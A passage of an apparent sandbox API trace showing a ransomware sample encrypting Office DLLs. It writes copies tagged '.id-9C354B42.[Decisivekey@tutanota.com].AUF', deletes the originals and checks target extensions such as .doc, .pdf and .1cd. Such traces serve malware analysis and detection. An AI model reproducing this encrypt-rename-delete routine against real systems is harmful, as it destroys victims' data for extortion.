lpNewFilePointer=0x0) returned 1 [0220.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0220.247] GetLastError () returned 0x0 [0220.247] ReadFile (in: hFile=0x184, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xd9c0, lpOverlapped=0x0) returned 1 [0220.263] WriteFile (in: hFile=0x168, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xd9d0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xd9d0, lpOverlapped=0x0) returned 1 [0220.264] ReadFile (in: hFile=0x184, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.264] WriteFile (in: hFile=0x168, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0220.264] SetEndOfFile (hFile=0x168) returned 1 [0220.264] CloseHandle (hObject=0x168) returned 1 [0220.265] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.265] SetEndOfFile (hFile=0x184) returned 1 [0220.266] CloseHandle (hObject=0x184) returned 1 [0220.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.266] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 1 [0220.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.266] lstrlenW (lpString=".doc") returned 4 [0220.266] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.266] lstrlenW (lpString=".docx") returned 5 [0220.266] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0220.266] lstrlenW (lpString=".pdf") returned 4 [0220.266] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.266] lstrlenW (lpString=".xls") returned 4 [0220.266] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.266] lstrlenW (lpString=".xlsx") returned 5 [0220.266] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0220.266] lstrlenW (lpString=".ppt") returned 4 [0220.266] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.266] lstrlenW (lpString=".zip") returned 4 [0220.266] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.266] lstrlenW (lpString=".rar") returned 4 [0220.266] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.266] lstrlenW (lpString=".bz2") returned 4 [0220.266] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.266] lstrlenW (lpString=".7z") returned 3 [0220.266] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.267] lstrlenW (lpString=".dbf") returned 4 [0220.267] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.267] lstrlenW (lpString=".1cd") returned 4 [0220.267] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.267] lstrlenW (lpString=".jpg") returned 4 [0220.267] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.267] lstrlenW (lpString=".doc") returned 4 [0220.267] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.267] lstrlenW (lpString=".docx") returned 5 [0220.267] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0220.267] lstrlenW (lpString=".pdf") returned 4 [0220.267] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.267] lstrlenW (lpString=".xls") returned 4 [0220.267] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.267] lstrlenW (lpString=".xlsx") returned 5 [0220.267] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0220.267] lstrlenW (lpString=".ppt") returned 4 [0220.267] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.267] lstrlenW (lpString=".zip") returned 4 [0220.267] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.267] lstrlenW (lpString=".rar") returned 4 [0220.267] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.267] lstrlenW (lpString=".bz2") returned 4 [0220.267] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.267] lstrlenW (lpString=".7z") returned 3 [0220.267] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.267] lstrlenW (lpString=".dbf") returned 4 [0220.267] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.267] lstrlenW (lpString=".1cd") returned 4 [0220.267] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0220.267] lstrlenW (lpString=".jpg") returned 4 [0220.267] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.268] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.268] lstrlenW (lpString="ACEREP.DLL") returned 10 [0220.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0220.268] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=691616) returned 1 [0220.268] CloseHandle (hObject=0x184) returned 1 [0220.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0220.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0220.268] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.268] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0220.274] GetLastError () returned 0x0 [0220.274] ReadFile (in: hFile=0x184, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xa8da0, lpOverlapped=0x0) returned 1 [0220.317] WriteFile (in: hFile=0x168, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xa8db0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xa8db0, lpOverlapped=0x0) returned 1 [0220.389] ReadFile (in: hFile=0x184, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.389] WriteFile (in: hFile=0x168, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0220.389] SetEndOfFile (hFile=0x168) returned 1 [0220.389] CloseHandle (hObject=0x168) returned 1 [0220.389] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.390] SetEndOfFile (hFile=0x184) returned 1 [0220.394] CloseHandle (hObject=0x184) returned 1 [0220.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.394] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 1 [0220.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.394] lstrlenW (lpString=".doc") returned 4 [0220.394] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.395] lstrlenW (lpString=".docx") returned 5 [0220.434] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0220.434] lstrlenW (lpString=".pdf") returned 4 [0220.434] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.434] lstrlenW (lpString=".xls") returned 4 [0220.434] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.434] lstrlenW (lpString=".xlsx") returned 5 [0220.434] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0220.434] lstrlenW (lpString=".ppt") returned 4 [0220.434] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.434] lstrlenW (lpString=".zip") returned 4 [0220.434] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.434] lstrlenW (lpString=".rar") returned 4 [0220.434] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.434] lstrlenW (lpString=".bz2") returned 4 [0220.434] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.434] lstrlenW (lpString=".7z") returned 3 [0220.434] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.434] lstrlenW (lpString=".dbf") returned 4 [0220.434] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.434] lstrlenW (lpString=".1cd") returned 4 [0220.434] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.434] lstrlenW (lpString=".jpg") returned 4 [0220.434] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.434] lstrlenW (lpString=".doc") returned 4 [0220.434] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.434] lstrlenW (lpString=".docx") returned 5 [0220.435] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0220.435] lstrlenW (lpString=".pdf") returned 4 [0220.435] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.435] lstrlenW (lpString=".xls") returned 4 [0220.435] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.435] lstrlenW (lpString=".xlsx") returned 5 [0220.435] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0220.435] lstrlenW (lpString=".ppt") returned 4 [0220.435] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.435] lstrlenW (lpString=".zip") returned 4 [0220.435] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.435] lstrlenW (lpString=".rar") returned 4 [0220.435] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.435] lstrlenW (lpString=".bz2") returned 4 [0220.435] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.435] lstrlenW (lpString=".7z") returned 3 [0220.435] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.435] lstrlenW (lpString=".dbf") returned 4 [0220.435] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.435] lstrlenW (lpString=".1cd") returned 4 [0220.435] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL") returned 66 [0220.435] lstrlenW (lpString=".jpg") returned 4 [0220.435] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.435] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.435] lstrlenW (lpString="ATLCONV.DLL") returned 11 [0220.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0220.744] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=385368) returned 1 [0220.744] CloseHandle (hObject=0x22c) returned 1 [0220.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0220.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0220.744] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.744] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0220.746] GetLastError () returned 0x0 [0220.746] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x5e158, lpOverlapped=0x0) returned 1 [0220.772] WriteFile (in: hFile=0x210, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x5e160, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x5e160, lpOverlapped=0x0) returned 1 [0220.807] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0220.807] WriteFile (in: hFile=0x210, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0220.807] SetEndOfFile (hFile=0x210) returned 1 [0220.807] CloseHandle (hObject=0x210) returned 1 [0220.807] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.807] SetEndOfFile (hFile=0x22c) returned 1 [0220.810] CloseHandle (hObject=0x22c) returned 1 [0220.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.811] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 1 [0220.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.811] lstrlenW (lpString=".doc") returned 4 [0220.811] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.811] lstrlenW (lpString=".docx") returned 5 [0220.811] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0220.811] lstrlenW (lpString=".pdf") returned 4 [0220.811] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.811] lstrlenW (lpString=".xls") returned 4 [0220.811] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.811] lstrlenW (lpString=".xlsx") returned 5 [0220.811] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0220.811] lstrlenW (lpString=".ppt") returned 4 [0220.811] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.811] lstrlenW (lpString=".zip") returned 4 [0220.811] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.811] lstrlenW (lpString=".rar") returned 4 [0220.811] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.811] lstrlenW (lpString=".bz2") returned 4 [0220.811] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.811] lstrlenW (lpString=".7z") returned 3 [0220.811] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.812] lstrlenW (lpString=".dbf") returned 4 [0220.812] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.812] lstrlenW (lpString=".1cd") returned 4 [0220.812] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.812] lstrlenW (lpString=".jpg") returned 4 [0220.812] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.812] lstrlenW (lpString=".doc") returned 4 [0220.812] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.812] lstrlenW (lpString=".docx") returned 5 [0220.812] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0220.812] lstrlenW (lpString=".pdf") returned 4 [0220.812] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.812] lstrlenW (lpString=".xls") returned 4 [0220.812] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.812] lstrlenW (lpString=".xlsx") returned 5 [0220.812] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0220.812] lstrlenW (lpString=".ppt") returned 4 [0220.812] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.812] lstrlenW (lpString=".zip") returned 4 [0220.812] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.812] lstrlenW (lpString=".rar") returned 4 [0220.812] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.812] lstrlenW (lpString=".bz2") returned 4 [0220.812] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.812] lstrlenW (lpString=".7z") returned 3 [0220.812] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.812] lstrlenW (lpString=".dbf") returned 4 [0220.812] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.812] lstrlenW (lpString=".1cd") returned 4 [0220.812] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0220.812] lstrlenW (lpString=".jpg") returned 4 [0220.812] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.812] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0220.812] lstrlenW (lpString="Csi.dll") returned 7 [0220.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0220.814] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=5072816) returned 1 [0220.814] CloseHandle (hObject=0x22c) returned 1 [0220.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0x20 [0220.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0220.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0220.826] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc6c | out: lpNewFilePointer=0x0) returned 1 [0220.826] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfc2c | out: lpNewFilePointer=0x0) returned 1 [0220.826] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x30dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c30058*, lpNumberOfBytesRead=0x30dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.841] SetFilePointerEx (in: hFile=0x22c, 